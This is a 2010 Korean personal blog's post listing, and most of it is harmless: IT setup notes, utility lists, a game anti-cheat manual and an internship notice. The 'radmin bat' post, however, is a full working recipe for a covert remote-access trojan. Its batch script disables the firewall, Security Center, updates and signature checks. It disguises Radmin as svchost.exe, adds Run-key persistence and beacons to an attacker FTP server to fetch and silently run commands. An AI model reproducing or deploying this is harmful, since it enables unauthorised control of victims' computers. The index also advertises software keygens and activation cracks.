Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2010/08/16 (주)오픈코리아 1기 인턴사원 모집 5개 분야
  2. 2010/08/14 스타 핵 방지 - wDetector 2.18
  3. 2010/08/13 갤럭시 S 펌웨어 DH07유출본
  4. 2010/08/09 Daum Open Editor - Daum에서 진행하는 오픈소스 프로젝트 입니다.
  5. 2010/08/09 Server Utility Tools 1
  6. 2010/08/09 WebLogic 10.3 + 이클립스 설치 + MS SQL 2008
  7. 2010/08/09 MS - SQL Server 2008 Express 외부 원격 연결 설정 방법
  8. 2010/08/08 당신을 좋게 말하지 말라. 그러면 당신은 신뢰할 수
  9. 2010/08/04 radmin bat 6
  10. 2010/08/04 브라이언 트레이시 _ 자수성가한 백만장자의 성공비법
  11. 2010/08/04 [고전 게임] 추억의게임 리볼트 지금해도 재밌네요 3
  12. 2010/08/04 멜론(Melon) 8월 첫째주 가요 Top50(10.08.01~10.08.07) (320k)
  13. 2010/08/04 사업성분석 프로그램 설명서
  14. 2010/08/01 [Linux] 이메일 포워딩 방법 두 가지
  15. 2010/08/01 rsync + ssh 원격백업
  16. 2010/08/01 [리눅스] proftpd.conf 파일 설명
  17. 2010/08/01 [윈도우서버] Windows Server 2003 설치후 해줘야 할일들
  18. 2010/08/01 리눅스 quota 설정
  19. 2010/08/01 [리눅스] rsync
  20. 2010/08/01 [리눅스] 언어설정
  21. 2010/08/01 FC3 사용자는 설치후 udev-039-10.FC3.1로 경신(update)해야 한다.
  22. 2010/08/01 [리눅스] 데몬리스트
  23. 2010/08/01 RPM사용법
  24. 2010/08/01 Perl에서 한글 인코딩 문제
  25. 2010/08/01 [리눅스] DSO방식 APM, Zend, GD설치
  26. 2010/08/01 아이폰 iOS4.0 탈옥 후 추천할 만한 시디아 어플들
  27. 2010/07/18 [정보] 한글 HWP 문서파일 양식 공개
  28. 2010/07/05 CS5 마스터컬렉션 시디키(Keygen) 12
  29. 2010/06/19 새 SharePoint 서버에 PowerPivot for SharePoint 설치
  30. 2010/06/15 OFFICE-2010 v2.2 - 오피스 2010 인증 42

[보안뉴스 길민권] 인터넷 비즈니스 솔루션 전문업체 (주)오픈코리아 (대표 김영삼)가  1기 인턴사원 을 모집한다고 15일 밝혔다.


모집부문은 프로그램 개발, 시스템 엔지니어, 웹 디자이너, 웹기획·서비스기획·마케팅, 재무회계 등 총 5개 분야로 4년제 대졸 이상 학력을 가진 2010년 2월 기졸업자 및 8월 졸업 예정자면 지원이 가능하다.


지원자들은 오는 9월20일까지 (주)오픈코리아 인턴 채용 페이지(www.openkr.com/)를 통해 지원하면 된다.


전형은 1차 서류심사와 인적성검사, 2차 면접으로 구성되며 1차 서류전형 합격자는 오는 22일 홈페이지 게시 및 개별 통보를 통해 발표될 예정이다.


선발된 인턴사원은 7월부터 9월까지 3개월간 각 직무별 실무자와 1:1 멘토링을 통해 해당 실무를 경험하게 된다. 또 팀 별로 주어지는 프로젝트도 참여할 수 있다.


특히 오픈코리아는 인턴십 기간 중 다양한 평가를 통해 업무에 적합한 인재라고 판단되면 프로그램 종료 후 바로 취업할 수 있는 특전을 제공할 예정이다.


(주)오픈코리아 이일규 이사는 "인턴십은 다양한 실무 경험을 쌓을 수 있을 뿐만 아니라 입사 지원 시 혜택도 부여되는 장점이 있어 취업 준비생들에게 큰 도움이 될 것"이라며 "이번 (주)오픈코리아 인턴 프로그램이 취업 준비생들에게 성공적인 사회로의 첫발을 내딛는데 좋은 기회가 될 수 있길 바란다"고 말했다.

[길민권 기자(reporte21@boannews.com)]

2010/08/16 16:16 2010/08/16 16:16

wDetector 2.18


[기 능]

스타크래프트 멀티플레이에서 상대방의 핵 사용을 감지합니다.

Drop, Annoy, Crash 핵을 방어합니다.

Drop창이 떴을 때 누군가 Drop 버튼을 누른다면, 버튼을 누가 눌렀는지 메시지가 나옵니다.
(0초도 안 됐는데 Drop이 바로 된다면, Drop 버튼을 누른 플레이어를 핵으로 생각해볼 수 있습니다)

배틀넷 방에 플레이어들이 들어올 때 /astat 명령어로인해 배틀넷이 끊기는 것을 방지합니다.

플레이어들의 전적을 자동으로 받아와서 보여줍니다.

플레이어가 수신 거부 중인지 볼 수 있습니다.

플레이어들의 Ping을 볼 수 있습니다.

플레이어들의 재전송 요청 횟수를 볼 수 있습니다.
(패킷이 전달되지 않아서 재전송을 요구하는 횟수입니다)

자신의 APM(현재 / 평균과의 차이)을 볼 수 있습니다.

무한 드랍창에 대해서도 Drop 버튼으로 드랍시킬 수 있게 해줍니다.
(45초 이상 드랍창이 연속으로 떠 있을 경우에만)

배틀넷 채널에서 채팅 메시지를 필터링할 수 있습니다.

리플레이를 "날짜 시간 아이디.rep"로 자동으로 저장합니다.

메신저에서 오는 쪽지나 대화를 게임중에 볼 수 있습니다.


[실행 방법]

1. wLoader를 실행합니다. (스타가 먼저 켜져 있어도 상관없습니다)


[사용 방법]

1. 방에서 기다릴 때
  키패드 0 : 플레이어들의 wDetector 사용 여부, 맵 다운 및 전송 상태를 보여줍니다.
  키패드 . : 플레이어들의 Ping, 재전송 요청 횟수를 보여줍니다.
  F5 : 자신이 방장일 경우에 방을 새로고침합니다.

(재전송 3:50 이라고 나온다면 3번 플레이어에게 재전송 요청을 50번 보냈다는 뜻입니다.
이것은 3번 플레이어의 패킷이 오지 않아서 재전송을 요청한 횟수가 50번이라는 뜻입니다.
랙이 걸리거나 할 때 누구 때문인지 알 수 있습니다.)

2. 게임 플레이중에
  키패드 0 : 플레이어들의 전적, APM, 핵 사용 목록을 보여줍니다.
  키패드 1~8 : 핵을 사용하는 특정(1~8) 플레이어를 다른 플레이어들에게 채팅창으로 알립니다.
  키패드 9 : 핵을 사용하는 모든 플레이어들을 다른 플레이어들에게 채팅창으로 알립니다.
  키패드 . : 플레이어들의 Ping, 재전송 요청 횟수를 보여줍니다.

(wDetector.ini 파일에서 UseFuncKey 옵션을 1로 변경하면 F9, F11, F12 키로도 대신 사용할 수 있습니다.)

3. 배틀넷 채널에서
  F2, F3, F4 : wDetector의 제 1채널, 제 2채널, 제 3채널로 이동합니다.
  F5 : wDetector의 알림글에 연결된 홈페이지로 이동합니다.
  F7 : 방을 따라갈 친구의 아이디를 설정합니다. (채팅창에 따라갈 친구 아이디를 먼저 입력해야 합니다.)
  F8 : 친구가 있는 방을 따라갑니다. (친구가 방에 들어갔을 때 누릅니다.)

[수정 내용]


- 2.18 수정 내용
1. 플레이어들이 방에 갑자기 많이 들어올 때 배틀넷 끊기는 것 방지 (3초 이내의 중복된 방 상태 변화 전송을 필터링)
2. 방 새로고침 기능 추가 (방장일 때 F5키)
3. StarFC의 친구 따라가기 기능 포함 (배틀넷 채널에서, F7 : 따라갈 친구 아이디 설정, F8 : 따라가기)
4. wDetector 채널로 바로 이동할 수 있는 단축키 추가 (F2, F3, F4 : 제1채널, 제2채널, 제3채널 이동)
5. wDetector와 맵핵을 같이 사용했을 때 자신의 동맹 풀리는 것 보완
6. 재전송수를 최근 15초 동안만 보여주도록 수정 및 재전송수 카운팅 부분 수정
7. 플레이어 승률 계산 버그 수정
8. 방에서 0, . 등을 눌러도 화면에 찍히지 않게 수정
9. wDetector가 구버전이어도 사용 가능한 버전이라면 계속 사용할 수 있도록 수정


Q & A

1. 핵을 안 썼는데도 자기 유닛을 공격해요.

핵을 쓰지 않았다고 해도 핵을 같이 로드하였다면 자기 유닛을 공격합니다.
약 30가지의 핵이 등록되어 있으며, 등록된 핵 이외에는 핵으로 인식하지 않습니다.
(런처들은 핵으로 등록 안 되어 있습니다)
핵을 안 썼는데도 동맹이 풀린다면 0을 눌러서 리스트를 스크린샷을 찍어서 whp와 같이 올려 주세요.

2. 게임 시작하면 플레이어 아이디마다 이상한 한글로 배틀넷 메시지가 떠요.

whois 명령어 체크는 프리 배틀넷은 지원하지 않습니다.
프리 배틀넷 사용자라면 설명서 wDetector.txt의 고급 설명 부분을 읽어 보세요.

3. 게임을 시작했는데 만든이랑 지난 시간만 나와요.

싱글 플레이나, 멀티 플레이에서도 방에 혼자 있을 경우입니다.
또는 방에 들어간 후에 wDetector를 로드해서 그렇습니다. (이 경우는 방을 다시 들어가면 됩니다)

4. wLoader를 실행하면 스타를 실행할 수 없다고 나와요.

스타가 레지스트리에 등록된 경로에 제대로 설치되어 있지 않아서 그럴 겁니다.
스타를 다시 설치하시거나 레지스트리에서 스타가 설치된 경로를 바르게 입력하시면 됩니다.
(경로는 HKEY_LOCAL_MACHINE/Software/Blizzard Entertainment/Starcraft의 Program값 또는 InstallPath값을 참조합니다)

5. 스타를 켜고 wLoader를 실행해도 wDetector가 동작을 안 해요.

비스타나 7 사용자라면 관리자 권한으로 실행시키세요.
또는 제어판의 사용자 계정에서 사용자 계정 컨트롤을 끄고 해보세요. (부팅 필요)

6. 스타가 자꾸 튕겨요.

오류 메시지나 화면 캡춰나 덤프 파일이나 어떻게 하면 똑같이 튕기나 등등 줄 수 있는 정보를 최대한 주세요.
그냥 튕겨요.라고만 한다면 저도 그냥 그렇구나.라고 밖에 생각할 수 있는 게 없습니다.

7. 한글 윈도우가 아니어도 되게 해주세요.

핵 개발을 대부분 외국인들이 해서 wDetector가 외국인에게 사용되지 않았으면 하는 바람에서
처음에는 한글 윈도우에서만 돌아가도록 만들었습니다.
2.11버전부터는 게임중에 "나는 한국인"을 타이핑하면 한글 윈도우가 아니어도 wDetector가 동작하도록 수정하였습니다.
단, 멀티플레이에서 방에 둘 이상이 있을 때 타이핑해야 동작합니다.


8. 한글 윈도우인데도 한글 윈도우에서 사용하라고 떠요.

아마 영문이나 다른 버전의 윈도우에 한글 언어팩을 씌운 윈도우일 겁니다.

9. 드랍 방어된다고 봤는데 드랍당했어요.

wDetector를 방에서 혼자 써도 방어가 되는 드랍 핵이 있고,
둘 이상이서 사용해야 방어가 되는 드랍 핵도 있고,
wDetector를 둘 이상이 사용해도 방어가 안 되는 드랍 핵도 있습니다.
최선의 방법은 둘 이상이 사용하는 방법이고,
어떤 프로그램을 쓰더라도 100% 모든 드랍 핵을 방어할 수는 없습니다.

10. wDetector 폴더에 whp 파일이 계속 생기는데 이건 뭔가요.

패킷 캡춰 파일입니다. PacketAnalysis 프로그램으로 열어볼 수 있고, 모두 지우셔도 됩니다.
생성되지 않게 하려면 wDetector.ini 파일에서 LogPacketToFile 옵션을 0으로 끄시면 됩니다.

11. 방에 들어오는 사람들 전적이 안 떠요.

플레이어가 들어올 때 전적을 얻기 위해 배틀넷에 자동으로 보내는 /astat 명령어를 막아 놓았습니다.
막은 걸 해제하려면(전적이 뜨게 하라면)
wDetector.ini 파일에서 IgnoreAstat 옵션을 0으로 바꾸시면 됩니다.
그 외에 다른 여러 가지 설정도 wDetector.ini 파일에서 할 수 있습니다.

12. 난 그런적 없는데 방에서 누굴 강퇴했다, 드랍했다 떠요.

wDetector는 주고 받는 패킷을 그대로 보여주기만 합니다.
wDetector를 사용하지 않았어도 일어날 상황입니다.
네트워크 상태가 좋지 않으면 자기가 강퇴나 드랍하지 않았는데도 메시지가 뜰 수 있습니다.
더 자세한 설명은 설명서의 고급 설명 부분을 참조하세요.

13. wDetector에서 바이러스가 있다고 나와요.

Pack된 (wDetector는 Pack 축에도 못 끼지만) 실행 파일을 그냥 아예 바이러스로 잡아버리는 백신이 많습니다.
주로 Crack이나 KeyGen이나 여러 핵들이 디버깅을 방지하기 위해서 실행 파일에 Pack을 합니다.
wDetector에 바이러스 없습니다. -_- (홈페이지 아닌 다른 사이트에서 받은 것 제외)

14. 맵핵은 감지 안 되나요.

맵핵도 많이 발전했습니다. 안 보이는 건물을 클릭하는 건 이제 잡히지도 않습니다.
안 보이는 건물을 클릭해도 상대방에겐 클릭 안 한 걸로 되어 감지가 안 됩니다.
맵핵이다라고 판단할만한 특징이 없습니다.

15. wDetector 어디서 받나요.

http://starfc.wo.to 여기가 원래 홈페이지입니다.
Index의 wDetector를 누르면 오른쪽 페이지에 다운 받을 수 있는 링크가 보입니다.



2010/08/14 21:38 2010/08/14 21:38
사용자 삽입 이미지

rar 파일로 되어있고, 압축해제 하셔야 합니다.
비밀번호는 samsung-firmwares.com 입니다.
정말 말도 안되게 편리하게 업데이트 되었구요.
저한테는 통화녹음기능이 정말 와 닿습니다.
 
-삼성펌웨어 닷컴에서 유출되었으니
  정식 펌웨어가 맞을겁니다. 
  저기서 오딘도 유출되었지요.




2010/08/13 23:54 2010/08/13 23:54

다음에서 공용 FTP 를 이용해 Cent OS 를 설치 했습니다. 속도가 무지 빠르고 좋네요.

아래 링크 따라 들어 가시면 [ 공용 FTP 지원] 메뉴가 있습니다.


Daum에서 진행하는 오픈소스 프로젝트 입니다.

Daum Open Editor

Daum Open Editor는 Daum 에서 개발된 WYSIWYG기반의 오픈 웹 에디터로 독립적이고 확장에 유연하도록 설계 되었습니다. 주요 브라우저의 크로스브라우징을 지원하며, Daum에서 서비스되고 있는 Daum Editor와 함께 업데이트 될 예정입니다. 상세한 설명은 여기에서 참고해 주세요.

다음오픈에디터의 라이센스는 GNU LGPL(Lesser General Public License) 으로 오픈되어 있는 소스이므로 저작권료 없이 사용이 가능하며, 목적에 맞게 수정하여 사용할 수 있으십니다. 또한 LGPL에는 수정한 부분의 소스공개를 권장하고 있으나, 강제 사항은 아니므로 공개하지 않으셔도 무방합니다. 다만 사용하시는 소스 상단 부분에 다음오픈에디터를 사용하였음을 명시해 주시길 권장합니다.

IE 5.5+ 지원 (safari 3.2 + , chrome 1, ff 2+, opera 9.64+) IE 5.5+ 지원 (safari 3.2 + , chrome 1, ff 2+, opera 9.64+)

[다운로드]

 

2010/08/09 18:57 2010/08/09 18:57
- Windows Script Encoder - 스크립트 인코더로 스크립트 소스코드 보호
- Windows Installer 3.0 Redistributable - Windows Installer 3.0 버젼. msi 배포시 필요.
- Windows Script 5.6 - Windows 2003용 Windows Script 5.6 버젼
- Windows Script 5.6 - Windows 2000,XP용 Windows Script 5.6 버젼
- Microsoft Network Monitor 3 패킷분석기
- SyncBack Freeware - Freeware 파일 백업/동기화 유틸
- Reflector for .NET - 닷넷디컴파일러
- Sourceforge Project - Clam AntiVirus - 실시간 바이러스DB 업데이트 제공
- Sourceforge Project - Packetyzer - 패킷분석기
- Microsoft Data Access Components (MDAC) 2.8 한글
- Microsoft .NET Framework 2.0 베타 2(x86)
- Microsoft .NET Framework 1.1 Redistributable 한글
- WMI Code Creator v1.0
- WMI Administrative Tools
- Debug Diagnostic Tool v1.1 디버깅툴
- Debugging Tools for Windows - WinDbg 디버깅툴

- Sysinternals - Diskmon v2.01 - HDD 작동상태 모니터링
- Sysinternals - Filemon v7.02 - 실시간 파일시스템 모니터링
- Sysinternals - Junction 1.032 - NTFS 심볼릭 링크 생성
- Sysinternals - PsTools v2.24 - 프로세스관리툴 모음
- Sysinternals - Autoruns v8.31 - Autorun 관리툴
- Sysinternals - RootkitRevealer - 루트킷 검색툴
- Sysinternals - Tokenmon - 토큰모니터
- Sysinternals - TDIMon - TCP/IP 실시간 모니터
- Sysinternals - Process Explorer - 프로세스탐색기
- Sysinternals - Portmon for Windows NT/9x - 네트워크포트 모니터
- Sysinternals - Regmon for Windows NT/9x - 레지스트리 모니터
- Sysinternals - CPUMon - CPU 모니터
- Sysinternals - Filemon for Windows - 파일 모니터
- Sysinternals - BlueScreen Screen Saver - 블루스크린 세이버

Windows Server
- Web Application Stress Tool
- Windows Server™ 2003 Performance Advisor
- Windows Server 2003 Resource Kit Tools
- IIS 5.0 Process Recycling Tool - IIS 5 재생을 통해 가용성을 높이는 툴
- User Profile Hive Cleanup Service(EventlogID:1000..)
- Internet Information Services (IIS) 6.0 Resource Kit Tools
- IIS Diagnostics Toolkit (x86)
- Urlscan 2.5 Install Package
- IIS Crash/Hang Agent & IIS Dump
- Active Directory Migration Tool v3.0 한글

SQL Server
- SQL Server Web Data Administrator
- SQL Server Express Utility
- SQL Server Health and History Tool (SQLH2)
- Best Practices Analyzer Tool for Microsoft SQL Server 2000 1.0
- Microsoft SQL Server Report Pack for Internet Information Services (IIS Logs)

Exchange Server
- Exchange 지능형 메시지 필터 - Exchange Server 2003 버젼용
- Exchange Server Stress and Performance 2003
- Microsoft Exchange Server 2003 Load Simulator (LoadSim)
- Microsoft Exchange Server User Monitor
- Microsoft Exchange Server Mailbox Merge Wizard (ExMerge)
- Exchange Server 2003 Exchange 배포 도구
- Exchange Server Performance Troubleshooting Analyzer Tool v1.0
- Exchange Server Best Practices Analyzer Tool 한글
2010/08/09 18:50 2010/08/09 18:50

WebLogic 10.3 + 이클립스 설치 + MS SQL 2008

1) JDK1.6버전 설치

2) 웹로직을 설치
   2-1) 배치에서 웹사이트 경로 설정
   2-2) 서비스 데이타소스에서 JDBC경로 설정
        이름 :: DS명
        JNDI 이름 :: JNDI 명
        데이타베이스 유형 :: MS-SQL서버
        데이타 베이스 드라이버 :: Microsoft's MS SQL Server Driver(type4) Versions 2005,2008
   2-3) JDBC설정
        2-3-1) MS SQL사에서 sqljdbc4.jar를 다운받는다
        2-3-2) jdbc jar파일을 C:\Oracle\Middleware\wlserver_10.3\server\lib\sqljdbc4.jar에 놓는다
        2-3-3) jdbc jar패스 설정
               C:\Oracle\Middleware\user_projects\domains\base_domain\bin\setDomainEnv.cmd
               파일안에 경로설정
               set PRE_CLASSPATH=C:\Oracle\Middleware\wlserver_10.3\server\lib\sqljdbc4.jar


3) 이클립스 설치
  3-1) 갈릴레오 JEE버전 설치
  3-2) 환경수정및 OverWrite
       ( 이클립스 실행시 버전 1.5 어쩌구 저쩌구 Error시 )
       eclipse.ini파일을 수정및 기존 eclipse내용으로 변경
  3-3) 이클립스 실행
  3-4) 웹서버 설정
       3-4-1) File / New / Other/ Server에서 해당 Web로직버전이 없는 경우
       3-4-2) Download additionna server adapters를 클릭하여 버전 Import!
              ( 1~3분정도 기다려야 함)
       3-4-5) 해당 정보가 뜨면
              Oracle / Oracle Weblogic Server 11gR1 PatchSet2를 선택
              (웹로직 버전에 따라 틀림)
       3-4-6) Workspace설정
              c:\Workspace
       3-4-7) Project설정(반드시 web project를 선택해야 함)
             3-4-7-1) File / New / Project선택
             3-4-7-2) Web / Dynamic Web Project를 선택함
                      Project명 :: CSMS/work/webapp 혹은
                                :: work/webapp
      3-4-8) Library(JAR정보 설정)
             3-4-8-1) Project명을 선택 / 오른쪽 마우스 클릭 / 속성클릭
             3-4-8-2) Java Build Path선택
             3-4-8-3) Libraries를 선택 / Add Jars버튼 선택하여
                      Lib폴더에 있는 Jar파일들을 선택한다
      3-4-9) Java 컴파일 경로설정
             3-4-9-1) Project명을 선택 / 오른쪽 마우스 클릭 / 속성클릭
             3-4-9-2) Java Build Path선택
             3-4-9-3) Source를 선택 Java Source경로 지정한 후
                      하단의 Default output folder항목에 클래스 경로를 지정
                      :: source 경로 :: CSMS/src
                      :: 클래스 경로 :: CSMS/work/webapp/WEB-INF/classes
      3-4-8) 화면 하단에 server탭이 보이지 않는 경우
             window/ Show View/ Server를 선택한다
         
  4) 웹로직 환경설정
      4-1) Console실행
      4-2) Batch경로(WebSite)설정 :: 배치 / Web Root경로설정
           -> JSP를 수정없이 올릴려면 :: xxx를 체크한다
      4-3) JDBC설정
        4-3-1) MS SQL사에서 sqljdbc4.jar를 다운받는다
        4-3-2) jdbc jar파일을 C:\Oracle\Middleware\wlserver_10.3\server\lib\sqljdbc4.jar에 놓는다
        4-3-3) jdbc jar패스 설정
               C:\Oracle\Middleware\user_projects\domains\base_domain\bin\setDomainEnv.cmd
               파일안에 경로설정
               set PRE_CLASSPATH=C:\Oracle\Middleware\wlserver_10.3\server\lib\sqljdbc4.jar
      4-4) 이클립스의 클래스 패스 지정
           4-4-1)  C:\Oracle\Middleware\user_projects\domains\base_domain\bin\
                        startWeblogic.cmd에 클래스 패스 경로설정
                 ex) set  QIS_HOME=c:\workspace\csms
                     set CLASSPATH=%CLASSPATH%;%QIS_HOME%\work\webapp\WEB-INF\classes
                     set CLASSPATH=%CLASSPATH%;%QIS_HOME%\lib\activation.jar
                     set CLASSPATH=%CLASSPATH%;%QIS_HOME%\lib\ant.jar
                     set CLASSPATH=%CLASSPATH%;%QIS_HOME%\lib\weblogic.jar
           4-4-2) weblogic.jar를 Copy하여 위에서 지정한 곳에 Paste한다
                ex) C:\Oracle\Middleware\wlserver_10.3\server\lib\weblogic.jar
                    -->  c:\workspace\CSMS\lib
           4-4-3) env환경설정(환경에 따라 틀림??)
                     c:workspace/CSMS/env/env.xml에  JDBC경로 및 파일서버 경로지정한다
                     <driver>com.microsoft.sqlserver.jdbc.SQLServerDriver</driver>
                     <url>jdbc:sqlserver://ip주소:포트번호;databaseName=DB명</url>
                     <user>userName</user>
                     <password>비밀번호


2010/08/09 18:38 2010/08/09 18:38

개인용 테스트 DB를 사용할때 덩치큰 유료 MS SQL Server 를 이용하는거 보단 MS SQL Server Express 버전을 사용하는게 훨씬 유용할때가 있습니다. 개인이 테스트용으로 사용하는데 굳이 돈을 지불하고 사용할수도 없고 사용한다 해도 거의 대부분은 불법으로 사용하기 때문에 Express 버전을 사용하는게 훨씬 용이 할것입니다.

그런데 MS SQL Server 2008 Express 버전을 사용하면 한가지 문제가 생깁니다. 로컬에서선 DB 연결이 자연스럽게 되나 외부에서 접속하려 하면 되지 않습니다. 이 부분은 Express 의 특징으로 설정을 외부에서도 접속할수 있게끔 만들어 줘야 사용할수 있습니다.

그럼 MS SQL Server 2008 Express 버전에서 외부 원견 연결 설정 방법을 알아 보도록 하겠습니다.

먼저 [시작]->[모든 프로그램] 에서 MS SQL Server 2008 Express 버전 단축 아이콘 폴더가 모여 있는 곳으로 이동하여 [구성도구] 폴더에서 [SQL Server 구성 관리자] 를 클릭 합니다.

사용자 삽입 이미지


SQL Server 구성 관리자 화면이 뜨는데 왼쪽 화면에서 [SQLEXPRESS에 대한 프로토콜]을 클릭하여 오른쪽에 있는 [명명된 파이프]와 [TCP/IP] 항목의 상태를 [사용]으로 변경해 주면 됩니다.

사용자 삽입 이미지

사용자 삽입 이미지
사용자 삽입 이미지
이렇게 하면 기본적인 외부 연결을 위한 설정은 마무리가 됩니다. 로컬이 아닌 외부에서 접속을 시도해 보시기 바랍니다. 아마 잘 될것이라 생각합니다.

그런데 만약 이렇게 했는데도 접속이 이루어 지지 않는다면 방화벽을 한번 의심해 보시기 바랍니다. Express 버전이 설치된 컴퓨터의 방화벽에서 MS SQL 의 포트인 1433을 열어 주시고 다시 한번 외부 원격 연결을 시도해 보시기 바랍니다.

2010/08/09 18:33 2010/08/09 18:33
당신을 좋게 말하지 말라.
그러면 당신은 신뢰할 수 없는 사람이 될 것이다
또 당신을 나쁘게 말하지 말라.
그러면 당신은 당신이 말한 그대로 취급받을 것이다.

-루소-
2010/08/08 17:58 2010/08/08 17:58

radmin bat

해킹&보안/해킹팁 2010/08/04 15:59
Autoit으로 제작한 VNC자동설치를 보고 자극을 받아서 batch파일로 제작했던 Radmin무설치 버전을 편집해 올리게 되네요. 하하,,,

먼저 첨부한 압축 파일(VNC.rar)을 풉니다.

폴더 안에는 다음과 같은 파일로 구성되어 있습니다.


└Compiler
   └bat2exe.exe
└Source
   └Setup
      └AdmDll.dll
      └GetIP.bat
      └nircmd.exe
      └raddrv.dll
      └radmin.exe
      └setting.reg
      └Setup.bat
      └svchost.exe
   └Uninstall
      └Uninstall.bat



이 소스의 특징은 다음과 같습니다.
1. 실행만으로 설치가 완료된다.
2. 비밀번호 설정 가능 (기본:12344321 바꾸는 것은 가능하나 좀 귀찮음,,,)
3. 아이피를 실시간으로 전송받을 수 있음(고정아이피 필요)
4. 실시간 batch명령 수행 기능
5. 간편한 제거 가능 (Uninstall.bat)

또 한가지 중요한 특징도 있습니다만
악용 금지라고 말한 이유가 거기에 있음


---사전 준비

먼저 GetIP.bat파일을 편집합니다.
파일 내용은 아래와 같습니다.


echo off
cls

net stop "Security Center"
net stop SharedAccess
net stop "Windows Firewall/Internet Connection Sharing (ICS)"
ECHO REGEDIT4>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download]>>"%Temp%.\kill.reg"
ECHO "CheckExeSignatures"="no">>"%Temp%.\kill.reg"
ECHO "RunInvalidSignatures"=dword:00000001>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
REG IMPORT "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"

md C:\windows\system32\VNC\cmd
del todo.txt
ECHO Anonymous>>todo.txt
ECHO
ftp@ftp.ftp>>todo.txt
ECHO binary>>todo.txt
ECHO prompt>>todo.txt
ECHO lcd C:\windows\system32\VNC\cmd>>todo.txt
ECHO mget *>>todo.txt
ECHO bye>>todo.txt

:loop
del C:\windows\system32\VNC\cmd\* /F /Q
rd C:\windows\system32\VNC\cmd /S /Q
md C:\windows\system32\VNC\cmd

ftp -s:todo.txt %서버ip주소%

IF EXIST C:\windows\system32\VNC\cmd\serv_com.bat (
C:\windows\system32\VNC\nircmd.exe exec hide "C:\windows\system32\VNC\cmd\serv_com.bat"
)

ping -n 15 127.0.0.1 >NUL
cls
GOTO loop



눈여겨 볼 것은 ftp -s:todo.txt %서버ip주소% 입니다.
%서버ip주소%는 자신이 상대방의 ip를 받을 고정 ip로 설정합니다.
*참고로 고정ip는 CODNS에서 무료로 받을 수 있습니다. 이 ip address로 server의 ip address를 전송 받을겁니다.
예를 들어 127.0.0.1로 설정한다면 아래와 같이 됩니다.
ftp -s:todo.txt %127.0.0.1%

또 ip전송 간격은 아래 코드로 조절합니다.
ping -n 15 127.0.0.1 >NUL
15라는 숫자 대신에 적는 숫자가 ip전송 간격이 되겠군요.
server의 과부하를 고려해 적당히 기입합니다.

설정이 끝났으면 저장합니다.



---부가 설정

setting.reg파일을 편집합니다. 내용은 아래와 같습니다.
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin]

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01]

[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01\ViewType]
"Data"=hex:b8,9d,90,49,c1,fa,95,ab,24,d7,22,bf,bb,f6,01,39,12,6a,cd,f9,b9,2a,\
  13,33,77,16,0b,60,1e,04,92,ad,c9,66,ee,91,06,59,b8,6e,5f,af,4c,a1,e6,30,2b,\
  2e,3a,66,b9,c6,16,83,d8,84,58,bc,88,bc,7b,9d,4a,c2

[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c
"DisableTrayIcon"=hex:01,00,00,00
"Port"=hex:23,13,00,00
"LogFilePath"="C:\\WINDOWS\\system32\\VNC\\logfile.txt"
"EnableLogFile"=hex:01,00,00,00
"EnableEventLog"=hex:00,00,00,00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"VNC1"="C:\\WINDOWS\\system32\\VNC\\svchost.exe /start"
"VNC2"="C:\\WINDOWS\\system32\\VNC\\nircmd.exe exec hide C:\\WINDOWS\\svchost.exe /c \"C:\\WINDOWS\\system32\\VNC\\getip.bat\""

Radmin설정과 자동실행 두가지가 공존하고 있군요.
비밀번호 병경을 원하면 이 파일에서 "Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c를 변경하면 됩니다.
변경 하려면 Radmin을 깔고 프로그램 자체에서 비밀번호를 설정하신 뒤 다시 해당 레지스트리를 추출하는 방법으로 하면 됩니다.
귀찮으면 그냥 놔두시고 12344321로 쓰게 됩니다.



---컴파일

이제 컴파일에 착수합니다.
bat2exe를 실행합니다. 그리고 Setup.bat파일을 불러옵니다.


그림과 같이 로드되었습니다.
이제 include탭으로 갑니다.


그림과 같이 파일을 포함합니다. (Setup폴더에서 Setup.bat을 제외한 모든 파일이 포함)
*참고로 Custom Resources탭에서 원하는 아이콘으로 변경도 가능합니다.


이제 마지막으로 Project->Options
Ghost Application을 선택하고 Ok를 누르면 컴파일 완료 직전입니다.

F9를 누르시면 원하는 파일로 컴파일 가능합니다. 마음에 드는 이름으로 저장하세요.

이제 상대방 server에서 방금 컴파일한 파일을 실행하면 Radmin server가 활성화 됩니다.


---사용법

client측에서는 radmin.exe을 실행하면 됩니다.
다만 ip전송을 받기 위해선, 위에서 입력한 아이피를 가진 컴퓨터(Radmin server)에서 ftp server를 열면 됩니다.
그러면 ftp server에 접속을 하는 컴퓨터(Radmin server)의 아이피가 뜨겠죠? 이런 원리로 상대방(Radmin server)의 아이피를 알 수 있습니다.
추가로 ftp서버를 열 때 ftp의 로컬 폴더에 serv_com.bat이란 이름으로 batch파일을 작성해 놓으면 Radmin server측에서 해당 batch파일을 보이지 않게 실행하게 할 수도 있습니다.

>>무단설치서버:Program(5).exe
>>클라이언트1.exe
2010/08/04 15:59 2010/08/04 15:59
모든 성공의 방법은 실천입니다.

